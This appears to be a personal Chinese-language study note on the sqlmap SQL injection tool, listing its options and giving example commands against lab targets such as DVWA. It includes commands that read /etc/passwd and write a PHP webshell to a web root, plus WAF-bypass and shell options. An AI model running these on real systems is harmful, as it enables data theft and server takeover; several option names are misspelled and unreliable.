sqlmap学习笔记
sqlmap能让你生活更轻松…~
安装
安装:
1 | sudo pacman -S sqlmap |
windows系统下安装好python3并添加好python的环境变量后,直接将sqlmap的整个文件目录放到python安装目录下
- 新建一个快捷方式-cmd
- 名称随便
- 右键cmd属性,将起始位置修改为sqlmap目录
参考链接:
帮助列表(部分)
sql 基本参数
要想更详细,请-hh
- -h 帮助信息
- -hh 更详细的帮助
- -u 指定url(GET请求要手动输入好注入点,sqlmap不会自动帮你检测)
- -m url列表(扫描多个)
- -r 加载HTTP请求文件(POST)
- -l 从请求日志文件中查找注入点
- -g google dork(google hacking)
- -c 指定配置文件
- -p 指定扫描的参数 -p “user-agent,referer” 如果指定了user-agent测试,那么不设置–level也能测试user-agent了
- –skip 排除指定的扫描参数
- -A 指定User-Agent信息
- -H 指定请求头信息
- –user-agents=””(指定user-agent)
- –random-agent (level>=3才启用 sqlmap检查user-agent的注入点)
- –host 在主机信息头部注入,level=5
- –referer referer头信息,level>=3
- –headers 头部信息必须使用
\n
换行,因为http请求头每个占用一行 - –method=GET/POST 指定http请求为
- –data 数据段 get/post都适用(主要用于post)
- –param-del 变量分隔符
- –cookie 检测cookie信息,(格式–cookie=”a=123;b=123”)
- set-cookie 检查cookie中的注入点 lever为2
- –batch 检测注入点
- –dbms 指定后端数据库
- –os 指定系统linux/windows
- -f 数据库系统指纹信息
- -b DBMS操作系统等信息
- –lever=[num] 设置等级(1-5)默认1级 级别越高探测信息越多,但是速度越慢
- >=2 cookie
- >=3 user-agent && Referef
- >=5 host
- –risk=[num] 设置风险等级(1-3)默认1级 (风险越高会测试更多语句,如插入语句,更新语句,删除语句等级越高入狱可能性越高)
- 1 大部分测试语句
- 2 增加基于事件的测试语句
- 3 增加or语句的sql注入测试(在update的语句中注入一个or的测试语句,可能导致整个表的更新)
- 测试的语句可以在xml/payloads.xml中找到
- –dump 导出
- –dbs 爆出所有数据库
- –current-db 爆出当前数据库名字
- –current-user 当前连接数据库的用户
- –privileges[-U] 用户权限
- –is-dba 判断当前用户是否为管理员
- –users 枚举数据库所有用户
- –tables 爆出数据库的表
- –columns 爆出所有列
- –schema 枚举information_schema
- -D [database_name]指定数据库枚举
- -T [table_name]指定数据表枚举
- -C [column_name]指定数据列枚举
- –common-tables暴力破解表
- –common-columns暴力破解列
- –os-shell 使用sqlmap获得一个交互shell
- –dump-all 导出所有数据
- -v[num] 0-6 设置信息输出等级,默认为1
- 0 显示pythobn错误以及严重的信息
- 1 同时显示基本信息和警告信息
- 2 同时显示debug信息
- 3 同时显示注入的payload
- 4 同时显示HTTP请求
- 5 同时显示HTTP响应头
- 6 同时显示HTTP响应页面
- –proxy=[http/https/socks5/socks4]://address:port 设置代理
- –tor 使用tor代理(需要先配置好tor)
- –check-tor 检测tor代理是否已使用
- –second-url 双页面(dvwa-high)
- –threads 最大并发线程(最大10)
- -o开启前三个性能优化
- –start [num] 与–stop配合,在获取信息时只获取指定的起始数值条数
- –stop [num] 与–start配合,在获取信息时只获取指定的截止数值条数
- –technique 指定选择的查询技术
- B: Boolean-based blind SQL injection(布尔型注入)
- E: Error-based SQL injection(报错型注入)
- U: UNION query SQL injection(可联合查询注入)
- S: Stacked queries SQL injection(堆叠注入)
- T: Time-based blind SQL injection(基于时间延迟注入
- –-time-sec 设置延时时间(默认是五秒,在使用tor/网络状态不好时可以调高)
- –delay 下次请求的时间
- –timeout 请求超时时间
- –retrles 超时次数 默认三次
- –randomize 长度
- –scope 过滤日志内容(正则) 与
-l
配合使用 - –sklp-urlencode 跳过url编码(适用于原始编码的网站)
- –safe-url=[url] 设置目标网站能正常访问的地址作为安全链接地址(用于过滤一些防护)
- –safe-freq=[num] 设置访问安全连接地址的频率,测试多少次后访问一次安全链接地址
- –predict-output 优化性能,根据检测方法比对返回值和统计表内容,不断缩小检测范围,提高检测效率,与threads次数不兼容
- –keep-alive 使用https长连接(保持存活,避免重复建立连接的网络开销,大量长连接会严重占用服务器资源) 代理服务器不支持长连接(与–proxy不兼容和)
- –null-connection 获取相应的页面大小值,而非页面的具体内容,用于盲注降低网络资源消耗
- –invalid-bignum 使用大数据使参数取值失效 id=909999
- –invalid-logical 使用布尔判断使参数取值失效 id=13 and 18=19
- –invalid-string 使用随机字符串使参数取值失效
- –no-escape 不使用char()编码方式逃逸
由于混淆和避免出错的目的,payload使用单引号界定字符串时,sqlmap使用char()编码逃逸方法替换字符串
- –tamper=”*.py” 过WAF
- –string
- –not-string
- –regexp
- –code
- –text-only
- –titles
- –hex 使用16进制编码
- –output-dir=/tmp 指定输出路径
- –save 将命令保存为一个文件
- -z 参数助记符
- –answer 指定答案
- –check-waf 检测WAF
- –mobile 模拟手机设备(修改user-agent为收集浏览器)
- –purge-output 清除output文件夹
- –smart当有大量检测目标时,选择基于错误的检测结果
- –wizard 交互性
- –crawl [num] 爬虫,爬取可能存在的漏洞链接 num是数字深度
- –forms 自动获取form表单测试
- –beep 发现sql注入时,发出蜂鸣
- –gpage 默认sqlmap使用前100个URL地址作为注入测试,对指定页面的URL测试
*
指定注入点(http://url//param1/value1*/param2/value2/) 跑伪静态网站- –file-read=RFILE 读取操作
- –file-write=WFILE 写入操作
- –file-dest=DFILE 绝对路径写入
- –dns-domain 配合dns实现快速盲注
网站动态静态判断
document.lastModified
(js函数)
基本步骤
1 | 1. 判断是否有注入 |
双页面的sqlmap使用方法
例子:dvwa sql注入 high难度
1 | sqlmap -u "http://192.168.2.243/dvwa/vulnerabilities/sqli/session-input.php/" --data="id=1&Submit=Submit" --second-url="http://192.168.2.243/dvwa/vulnerabilities/sqli/" --current-db --cookie="PHPSESSID=p97k25g7mflas2kbg0asg7m161;security=high" --dbms=mysql -v 3 --dbs --threads=10 |
因为是post请求的,所以要加数据段--data
,因为dvwa靶场要登录,所以也要携带cookie
值
safe-url用法
1 | sqlmap -u "http://192.168.2.243/sql/less-1/?id=1" --safe-url="http://192.168.2.243/sql/less-1/" --safe-freq=2 --dbms=mysql |
-u ‘url1’
–safe-url=’url2’ 安全页面
–safe-freq=2
意味着在测试两次url1
后去访问一次安全页面url2
写web shell时会用到的参数
- –file-read=RFILE 读取操作
- –file-write=WFILE 写入操作
- –file-dest=DFILE 绝对路径写入
- –is-dba 判断当前用户是否为管理员
读取文件
1 | sqlmap -u "http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --file-read=/etc/passwd |
写文件
1 | sqlmap -u "http://192.168.56.104/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -p add_value --file-write=/data/yjh.php --file-dest=/var/www/html/jabc/shell.php |
tamper
mssql
https://www.anquanke.com/post/id/156911
免杀webshell